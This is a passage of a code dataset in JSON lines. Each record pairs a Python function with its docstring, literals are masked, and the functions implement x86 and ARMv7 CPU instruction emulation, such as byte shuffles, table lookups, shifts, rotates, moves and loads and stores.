<NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT:64>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT:64>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>op0.write(arg0)<EOL>", "docstring": "Packed shuffle bytes.\n\nCopies bytes from source operand (second operand) and inserts them in the destination operand\n(first operand) at locations selected with the order operand (third operand).\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.\n:param op3: order operand.", "id": "f16975:c2:m274"}
{"signature": "def __init__(self, memory, *args, **kwargs):", "body": "super().__init__(AMD64RegFile(aliases={'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}, ),<EOL>memory,<EOL>*args,<EOL>**kwargs)<EOL>", "docstring": "Builds a CPU model.\n:param memory: memory object for this CPU.", "id": "f16975:c8:m0"}
{"signature": "def __str__(self):", "body": "CHEADER = '<STR_LIT>'<EOL>CBLUE = '<STR_LIT>'<EOL>CGREEN = '<STR_LIT>'<EOL>CWARNING = '<STR_LIT>'<EOL>CFAIL = '<STR_LIT>'<EOL>CEND = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>result = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>instruction = self.instruction<EOL>result += f\"<STR_LIT>\"<EOL><DEDENT>except BaseException:<EOL><INDENT>result += \"<STR_LIT>\"<EOL><DEDENT>regs = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>for reg_name in regs:<EOL><INDENT>value = self.read_register(reg_name)<EOL>if issymbolic(value):<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>result += f\"<STR_LIT>\"<EOL><DEDENT>pos = <NUM_LIT:0><EOL><DEDENT>pos = <NUM_LIT:0><EOL>for reg_name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>value = self.read_register(reg_name)<EOL>if issymbolic(value):<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>pos = <NUM_LIT:0><EOL><DEDENT>for reg_name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>base, size, ty = self.get_descriptor(self.read_register(reg_name))<EOL>result += f'<STR_LIT>'<EOL><DEDENT>for reg_name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>value = getattr(self, reg_name)<EOL>result += f'<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL><DEDENT>return result<EOL>", "docstring": "Returns a string representation of cpu state\n\n:rtype: str\n:return: a string containing the name and current value for all the registers.", "id": "f16975:c8:m1"}
{"signature": "@instruction<EOL><INDENT>def XLATB(cpu):<DEDENT>", "body": "cpu.AL = cpu.read_int(cpu.RBX + Operators.ZEXTEND(cpu.AL, <NUM_LIT:64>), <NUM_LIT:8>)<EOL>", "docstring": "Table look-up translation.\n\nLocates a byte entry in a table in memory, using the contents of the\nAL register as a table index, then copies the contents of the table entry\nback into the AL register. The index in the AL register is treated as\nan unsigned integer. The XLAT and XLATB instructions get the base address\nof the table in memory from either the DS:EBX or the DS:BX registers.\nIn 64-bit mode, operation is similar to that in legacy or compatibility mode.\nAL is used to specify the table index (the operand size is fixed at 8 bits).\nRBX, however, is used to specify the table's base address::\n\n        IF address_bit_size = 16\n        THEN\n            AL = (DS:BX + ZeroExtend(AL));\n        ELSE IF (address_bit_size = 32)\n            AL = (DS:EBX + ZeroExtend(AL)); FI;\n        ELSE (address_bit_size = 64)\n            AL = (RBX + ZeroExtend(AL));\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c8:m3"}
{"signature": "def __init__(self, memory, *args, **kwargs):", "body": "super().__init__(AMD64RegFile({'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}),<EOL>memory,<EOL>*args,<EOL>**kwargs)<EOL>", "docstring": "Builds a CPU model.\n:param memory: memory object for this CPU.", "id": "f16975:c9:m0"}
{"signature": "def __str__(self):", "body": "CHEADER = '<STR_LIT>'<EOL>CBLUE = '<STR_LIT>'<EOL>CGREEN = '<STR_LIT>'<EOL>CWARNING = '<STR_LIT>'<EOL>CFAIL = '<STR_LIT>'<EOL>CEND = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>result = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>instruction = self.instruction<EOL>result += f\"<STR_LIT>\"<EOL><DEDENT>except BaseException:<EOL><INDENT>result += \"<STR_LIT>\"<EOL><DEDENT>regs = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>for reg_name in regs:<EOL><INDENT>value = self.read_register(reg_name)<EOL>if issymbolic(value):<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>pos = <NUM_LIT:0><EOL><DEDENT>pos = <NUM_LIT:0><EOL>for reg_name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>value = self.read_register(reg_name)<EOL>if issymbolic(value):<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>result += f'<STR_LIT>'<EOL><DEDENT>pos = <NUM_LIT:0><EOL><DEDENT>for reg_name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>base, size, ty = self.get_descriptor(self.read_register(reg_name))<EOL>result += f'<STR_LIT>'<EOL><DEDENT>for reg_name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>value = getattr(self, reg_name)<EOL>result += f'<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL><DEDENT>return result<EOL>", "docstring": "Returns a string representation of cpu state\n\n:rtype: str\n:return: a string containing the name and current value for all the registers.", "id": "f16975:c9:m1"}
{"signature": "@instruction<EOL><INDENT>def XLATB(cpu):<DEDENT>", "body": "cpu.AL = cpu.read_int(cpu.EBX + Operators.ZEXTEND(cpu.AL, <NUM_LIT:32>), <NUM_LIT:8>)<EOL>", "docstring": "Table look-up translation.\n\nLocates a byte entry in a table in memory, using the contents of the\nAL register as a table index, then copies the contents of the table entry\nback into the AL register. The index in the AL register is treated as\nan unsigned integer. The XLAT and XLATB instructions get the base address\nof the table in memory from either the DS:EBX or the DS:BX registers.\nIn 64-bit mode, operation is similar to that in legacy or compatibility mode.\nAL is used to specify the table index (the operand size is fixed at 8 bits).\nRBX, however, is used to specify the table's base address::\n\n        IF address_bit_size = 16\n        THEN\n            AL = (DS:BX + ZeroExtend(AL));\n        ELSE IF (address_bit_size = 32)\n            AL = (DS:EBX + ZeroExtend(AL)); FI;\n        ELSE (address_bit_size = 64)\n            AL = (RBX + ZeroExtend(AL));\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c9:m3"}
{"signature": "def Mask(width):", "body": "return (<NUM_LIT:1> << width) - <NUM_LIT:1><EOL>", "docstring": "Return a mask with the low `width` bits set.\n\n:param int width: How many bits to set to 1\n:return: int or long", "id": "f16976:m0"}
{"signature": "def Bit(value, idx):", "body": "return Operators.EXTRACT(value, idx, <NUM_LIT:1>)<EOL>", "docstring": "Extract `idx` bit from `value`.\n\n:param value: Source value from which to extract.\n:type value: int or long or BitVec\n:param idx: Bit index\n:return: int or long or BitVex", "id": "f16976:m1"}
{"signature": "def GetNBits(value, nbits):", "body": "<EOL>if isinstance(value, int):<EOL><INDENT>return Operators.EXTRACT(value, <NUM_LIT:0>, nbits)<EOL><DEDENT>elif isinstance(value, BitVec):<EOL><INDENT>if value.size < nbits:<EOL><INDENT>return Operators.ZEXTEND(value, nbits)<EOL><DEDENT>else:<EOL><INDENT>return Operators.EXTRACT(value, <NUM_LIT:0>, nbits)<EOL><DEDENT><DEDENT>", "docstring": "Get the first `nbits` from `value`.\n\n:param value: Source value from which to extract\n:type value: int or long or BitVec\n:param int nbits: How many bits to extract\n:return: Low `nbits` bits of `value`.\n:rtype int or long or BitVec", "id": "f16976:m2"}
{"signature": "def SInt(value, width):", "body": "return Operators.ITEBV(width, Bit(value, width - <NUM_LIT:1>) == <NUM_LIT:1>,<EOL>GetNBits(value, width) - <NUM_LIT:2>**width,<EOL>GetNBits(value, width))<EOL>", "docstring": "Convert a bitstring `value` of `width` bits to a signed integer\nrepresentation.\n\n:param value: The value to convert.\n:type value: int or long or BitVec\n:param int width: The width of the bitstring to consider\n:return: The converted value\n:rtype int or long or BitVec", "id": "f16976:m3"}
{"signature": "def UInt(value, width):", "body": "return GetNBits(value, width)<EOL>", "docstring": "Return integer value of `value` as a bitstring of `width` width.\n\n:param value: The value to convert.\n:type value: int or long or BitVec\n:param int width: The width of the bitstring to consider\n:return: The integer value\n:rtype int or long or BitVec", "id": "f16976:m4"}
{"signature": "def LSL_C(value, amount, width):", "body": "assert amount > <NUM_LIT:0><EOL>value = Operators.ZEXTEND(value, width * <NUM_LIT:2>)<EOL>shifted = value << amount<EOL>result = GetNBits(shifted, width)<EOL>carry = Bit(shifted, width)<EOL>return (result, carry)<EOL>", "docstring": "The ARM LSL_C (logical left shift with carry) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value and the carry result\n:rtype tuple", "id": "f16976:m5"}
{"signature": "def LSL(value, amount, width):", "body": "if amount == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>result, _ = LSL_C(value, amount, width)<EOL>return result<EOL>", "docstring": "The ARM LSL (logical left shift) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value\n:rtype int or BitVec", "id": "f16976:m6"}
{"signature": "def LSR_C(value, amount, width):", "body": "assert amount > <NUM_LIT:0><EOL>result = GetNBits(value >> amount, width)<EOL>carry = Bit(value >> (amount - <NUM_LIT:1>), <NUM_LIT:0>)<EOL>return (result, carry)<EOL>", "docstring": "The ARM LSR_C (logical shift right with carry) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value and carry result\n:rtype tuple", "id": "f16976:m7"}
{"signature": "def LSR(value, amount, width):", "body": "if amount == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>result, _ = LSR_C(value, amount, width)<EOL>return result<EOL>", "docstring": "The ARM LSR (logical shift right) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value\n:rtype int or BitVec", "id": "f16976:m8"}
{"signature": "def ASR_C(value, amount, width):", "body": "assert amount <= width<EOL>assert amount > <NUM_LIT:0><EOL>assert amount + width <= width * <NUM_LIT:2><EOL>value = Operators.SEXTEND(value, width, width * <NUM_LIT:2>)<EOL>result = GetNBits(value >> amount, width)<EOL>carry = Bit(value, amount - <NUM_LIT:1>)<EOL>return (result, carry)<EOL>", "docstring": "The ARM ASR_C (arithmetic shift right with carry) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value and carry result\n:rtype tuple", "id": "f16976:m9"}
{"signature": "def ASR(value, amount, width):", "body": "if amount == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>result, _ = ASR_C(value, amount, width)<EOL>return result<EOL>", "docstring": "The ARM ASR (arithmetic shift right) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to shift it.\n:param int width: Width of the value\n:return: Resultant value\n:rtype int or BitVec", "id": "f16976:m10"}
{"signature": "def ROR_C(value, amount, width):", "body": "assert amount <= width<EOL>assert amount > <NUM_LIT:0><EOL>m = amount % width<EOL>right, _ = LSR_C(value, m, width)<EOL>left, _ = LSL_C(value, width - m, width)<EOL>result = left | right<EOL>carry = Bit(result, width - <NUM_LIT:1>)<EOL>return (result, carry)<EOL>", "docstring": "The ARM ROR_C (rotate right with carry) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to rotate it.\n:param int width: Width of the value\n:return: Resultant value and carry result\n:rtype tuple", "id": "f16976:m11"}
{"signature": "def ROR(value, amount, width):", "body": "if amount == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>result, _ = ROR_C(value, amount, width)<EOL>return result<EOL>", "docstring": "The ARM ROR (rotate right) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to rotate it.\n:param int width: Width of the value\n:return: Resultant value\n:rtype int or BitVec", "id": "f16976:m12"}
{"signature": "def RRX_C(value, carry, width):", "body": "carry_out = Bit(value, <NUM_LIT:0>)<EOL>result = (value >> <NUM_LIT:1>) | (carry << (width - <NUM_LIT:1>))<EOL>return (result, carry_out)<EOL>", "docstring": "The ARM RRX (rotate right with extend and with carry) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to rotate it.\n:param int width: Width of the value\n:return: Resultant value and carry result\n:rtype tuple", "id": "f16976:m13"}
{"signature": "def RRX(value, carry, width):", "body": "result, _ = RRX_C(value, carry, width)<EOL>return result<EOL>", "docstring": "The ARM RRX (rotate right with extend) operation.\n\n:param value: Value to shift\n:type value: int or long or BitVec\n:param int amount: How many bits to rotate it.\n:param int width: Width of the value\n:return: Resultant value\n:rtype int or BitVec", "id": "f16976:m14"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self.__type<EOL>", "docstring": "Corresponds to capstone's `operand.type` (cs.arm.ARM_OP_*).", "id": "f16977:c0:m1"}
{"signature": "def is_shifted(self):", "body": "return self.op.shift.type != cs.arm.ARM_SFT_INVALID<EOL>", "docstring": "In ARM some of the operands may have an additional metadata which means they can be shifted\nwith either a register or immediate value.\n\nSee:\n* https://github.com/aquynh/capstone/blob/fdebc371ba0568acde007e08dad2cc3c9333e3fa/include/arm.h#L22-L34\n\n* 11.5 Syntax of Operand2 as a register with optional shift\n    http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473m/dom1361289852638.html\n\n:return: True if operand is shifted, otherwise False.", "id": "f16977:c0:m6"}
{"signature": "def _get_expand_imm_carry(self, carryIn):", "body": "insn = struct.unpack('<STR_LIT>', self.cpu.instruction.bytes)[<NUM_LIT:0>]<EOL>unrotated = insn & Mask(<NUM_LIT:8>)<EOL>shift = Operators.EXTRACT(insn, <NUM_LIT:8>, <NUM_LIT:4>)<EOL>_, carry = self.cpu._shift(unrotated, cs.arm.ARM_SFT_ROR, <NUM_LIT:2> * shift, carryIn)<EOL>return carry<EOL>", "docstring": "Manually compute the carry bit produced by expanding an immediate operand (see ARMExpandImm_C)", "id": "f16977:c0:m10"}
{"signature": "def __init__(self):", "body": "super().__init__({'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'})<EOL>self._regs = {}<EOL>for reg_name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._regs[reg_name] = Register(<NUM_LIT:32>)<EOL><DEDENT>for reg_name in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._regs[reg_name] = Register(<NUM_LIT:64>)<EOL><DEDENT>self._regs['<STR_LIT>'] = Register(<NUM_LIT:1>)<EOL>self._regs['<STR_LIT>'] = Register(<NUM_LIT:1>)<EOL>self._regs['<STR_LIT>'] = Register(<NUM_LIT:1>)<EOL>self._regs['<STR_LIT>'] = Register(<NUM_LIT:1>)<EOL>self._regs['<STR_LIT>'] = Register(<NUM_LIT:4>)<EOL>self._regs['<STR_LIT>'] = Register(<NUM_LIT:32>)<EOL>", "docstring": "ARM Register file abstraction. GPRs use ints for read/write. APSR\nflags allow writes of bool/{1, 0} but always read bools.", "id": "f16977:c1:m0"}
{"signature": "def _write_APSR(self, apsr):", "body": "V = Operators.EXTRACT(apsr, <NUM_LIT>, <NUM_LIT:1>)<EOL>C = Operators.EXTRACT(apsr, <NUM_LIT>, <NUM_LIT:1>)<EOL>Z = Operators.EXTRACT(apsr, <NUM_LIT:30>, <NUM_LIT:1>)<EOL>N = Operators.EXTRACT(apsr, <NUM_LIT>, <NUM_LIT:1>)<EOL>self.write('<STR_LIT>', V)<EOL>self.write('<STR_LIT>', C)<EOL>self.write('<STR_LIT>', Z)<EOL>self.write('<STR_LIT>', N)<EOL>", "docstring": "Auxiliary function - Writes flags from a full APSR (only 4 msb used)", "id": "f16977:c1:m2"}
{"signature": "def _swap_mode(self):", "body": "assert self.mode in (cs.CS_MODE_ARM, cs.CS_MODE_THUMB)<EOL>if self.mode == cs.CS_MODE_ARM:<EOL><INDENT>self.mode = cs.CS_MODE_THUMB<EOL><DEDENT>else:<EOL><INDENT>self.mode = cs.CS_MODE_ARM<EOL><DEDENT>", "docstring": "Toggle between ARM and Thumb mode", "id": "f16977:c4:m6"}
{"signature": "def set_flags(self, **flags):", "body": "unupdated_flags = self._last_flags.keys() - flags.keys()<EOL>for flag in unupdated_flags:<EOL><INDENT>flag_name = f'<STR_LIT>'<EOL>self._last_flags[flag] = self.regfile.read(flag_name)<EOL><DEDENT>self._last_flags.update(flags)<EOL>", "docstring": "Note: For any unmodified flags, update _last_flags with the most recent\ncommitted value. Otherwise, for example, this could happen:\n\n    overflow=0\n    instr1 computes overflow=1, updates _last_flags, doesn't commit\n    instr2 updates all flags in _last_flags except overflow (overflow remains 1 in _last_flags)\n    instr2 commits all in _last_flags\n    now overflow=1 even though it should still be 0", "id": "f16977:c4:m7"}
{"signature": "def _shift(cpu, value, _type, amount, carry):", "body": "assert(cs.arm.ARM_SFT_INVALID < _type <= cs.arm.ARM_SFT_RRX_REG)<EOL>if _type in (cs.arm.ARM_SFT_RRX, cs.arm.ARM_SFT_RRX_REG) and amount != <NUM_LIT:1>:<EOL><INDENT>amount = <NUM_LIT:1><EOL><DEDENT>elif _type in range(cs.arm.ARM_SFT_ASR_REG, cs.arm.ARM_SFT_RRX_REG + <NUM_LIT:1>):<EOL><INDENT>if cpu.mode == cs.CS_MODE_THUMB:<EOL><INDENT>src = amount.read()<EOL><DEDENT>else:<EOL><INDENT>src_reg = cpu.instruction.reg_name(amount).upper()<EOL>src = cpu.regfile.read(src_reg)<EOL><DEDENT>amount = Operators.EXTRACT(src, <NUM_LIT:0>, <NUM_LIT:8>)<EOL><DEDENT>if amount == <NUM_LIT:0>:<EOL><INDENT>return value, carry<EOL><DEDENT>width = cpu.address_bit_size<EOL>if _type in (cs.arm.ARM_SFT_ASR, cs.arm.ARM_SFT_ASR_REG):<EOL><INDENT>return ASR_C(value, amount, width)<EOL><DEDENT>elif _type in (cs.arm.ARM_SFT_LSL, cs.arm.ARM_SFT_LSL_REG):<EOL><INDENT>return LSL_C(value, amount, width)<EOL><DEDENT>elif _type in (cs.arm.ARM_SFT_LSR, cs.arm.ARM_SFT_LSR_REG):<EOL><INDENT>return LSR_C(value, amount, width)<EOL><DEDENT>elif _type in (cs.arm.ARM_SFT_ROR, cs.arm.ARM_SFT_ROR_REG):<EOL><INDENT>return ROR_C(value, amount, width)<EOL><DEDENT>elif _type in (cs.arm.ARM_SFT_RRX, cs.arm.ARM_SFT_RRX_REG):<EOL><INDENT>return RRX_C(value, carry, width)<EOL><DEDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "See Shift() and Shift_C() in the ARM manual", "id": "f16977:c4:m9"}
{"signature": "@instruction<EOL><INDENT>def MOV(cpu, dest, src):<DEDENT>", "body": "if cpu.mode == cs.CS_MODE_ARM:<EOL><INDENT>result, carry_out = src.read(with_carry=True)<EOL>dest.write(result)<EOL>cpu.set_flags(C=carry_out, N=HighBit(result), Z=(result == <NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>result = src.read()<EOL>dest.write(result)<EOL>cpu.set_flags(N=HighBit(result), Z=(result == <NUM_LIT:0>))<EOL><DEDENT>", "docstring": "Implement the MOV{S} instruction.\n\nNote: If src operand is PC, temporarily release our logical PC\nview and conform to the spec, which dictates PC = curr instr + 8\n\n:param Armv7Operand dest: The destination operand; register.\n:param Armv7Operand src: The source operand; register or immediate.", "id": "f16977:c4:m24"}
{"signature": "@instruction<EOL><INDENT>def MOVT(cpu, dest, src):<DEDENT>", "body": "assert src.type == '<STR_LIT>'<EOL>imm = src.read()<EOL>low_halfword = dest.read() & Mask(<NUM_LIT:16>)<EOL>dest.write((imm << <NUM_LIT:16>) | low_halfword)<EOL>", "docstring": "MOVT writes imm16 to Rd[31:16]. The write does not affect Rd[15:0].\n\n:param Armv7Operand dest: The destination operand; register\n:param Armv7Operand src: The source operand; 16-bit immediate", "id": "f16977:c4:m25"}
{"signature": "@instruction<EOL><INDENT>def MRC(cpu, coprocessor, opcode1, dest, coprocessor_reg_n, coprocessor_reg_m, opcode2):<DEDENT>", "body": "assert coprocessor.type == '<STR_LIT>'<EOL>assert opcode1.type == '<STR_LIT>'<EOL>assert opcode2.type == '<STR_LIT>'<EOL>assert dest.type == '<STR_LIT>'<EOL>imm_coprocessor = coprocessor.read()<EOL>imm_opcode1 = opcode1.read()<EOL>imm_opcode2 = opcode2.read()<EOL>coprocessor_n_name = coprocessor_reg_n.read()<EOL>coprocessor_m_name = coprocessor_reg_m.read()<EOL>if <NUM_LIT:15> == imm_coprocessor:  <EOL><INDENT>if <NUM_LIT:0> == imm_opcode1:<EOL><INDENT>if <NUM_LIT> == coprocessor_n_name:<EOL><INDENT>if <NUM_LIT:3> == imm_opcode2:<EOL><INDENT>dest.write(cpu.regfile.read('<STR_LIT>'))<EOL>return<EOL><DEDENT><DEDENT><DEDENT><DEDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "MRC moves to ARM register from coprocessor.\n\n:param Armv7Operand coprocessor: The name of the coprocessor; immediate\n:param Armv7Operand opcode1: coprocessor specific opcode; 3-bit immediate\n:param Armv7Operand dest: the destination operand: register\n:param Armv7Operand coprocessor_reg_n: the coprocessor register; immediate\n:param Armv7Operand coprocessor_reg_m: the coprocessor register; immediate\n:param Armv7Operand opcode2: coprocessor specific opcode; 3-bit immediate", "id": "f16977:c4:m26"}
{"signature": "@instruction<EOL><INDENT>def LDRD(cpu, dest1, dest2, src, offset=None):<DEDENT>", "body": "assert dest1.type == '<STR_LIT>'<EOL>assert dest2.type == '<STR_LIT>'<EOL>assert src.type == '<STR_LIT>'<EOL>mem1 = cpu.read_int(src.address(), <NUM_LIT:32>)<EOL>mem2 = cpu.read_int(src.address() + <NUM_LIT:4>, <NUM_LIT:32>)<EOL>writeback = cpu._compute_writeback(src, offset)<EOL>dest1.write(mem1)<EOL>dest2.write(mem2)<EOL>cpu._cs_hack_ldr_str_writeback(src, offset, writeback)<EOL>", "docstring": "Loads double width data from memory.", "id": "f16977:c4:m27"}
{"signature": "@instruction<EOL><INDENT>def STRD(cpu, src1, src2, dest, offset=None):<DEDENT>", "body": "assert src1.type == '<STR_LIT>'<EOL>assert src2.type == '<STR_LIT>'<EOL>assert dest.type == '<STR_LIT>'<EOL>val1 = src1.read()<EOL>val2 = src2.read()<EOL>writeback = cpu._compute_writeback(dest, offset)<EOL>cpu.write_int(dest.address(), val1, <NUM_LIT:32>)<EOL>cpu.write_int(dest.address() + <NUM_LIT:4>, val2, <NUM_LIT:32>)<EOL>cpu._cs_hack_ldr_str_writeback(dest, offset, writeback)<EOL>", "docstring": "Writes the contents of two registers to memory.", "id": "f16977:c4:m28"}
{"signature": "@instruction<EOL><INDENT>def LDREX(cpu, dest, src, offset=None):<DEDENT>", "body": "<EOL>cpu._LDR(dest, src, <NUM_LIT:32>, False, offset)<EOL>", "docstring": "LDREX loads data from memory.\n* If the physical address has the shared TLB attribute, LDREX\n  tags the physical address as exclusive access for the current\n  processor, and clears any exclusive access tag for this\n  processor for any other physical address.\n* Otherwise, it tags the fact that the executing processor has\n  an outstanding tagged physical address.\n\n:param Armv7Operand dest: the destination register; register\n:param Armv7Operand src: the source operand: register", "id": "f16977:c4:m29"}
{"signature": "@instruction<EOL><INDENT>def STREX(cpu, status, *args):<DEDENT>", "body": "<EOL>status.write(<NUM_LIT:0>)<EOL>return cpu._STR(cpu.address_bit_size, *args)<EOL>", "docstring": "STREX performs a conditional store to memory.\n:param Armv7Operand status: the destination register for the returned status; register", "id": "f16977:c4:m30"}
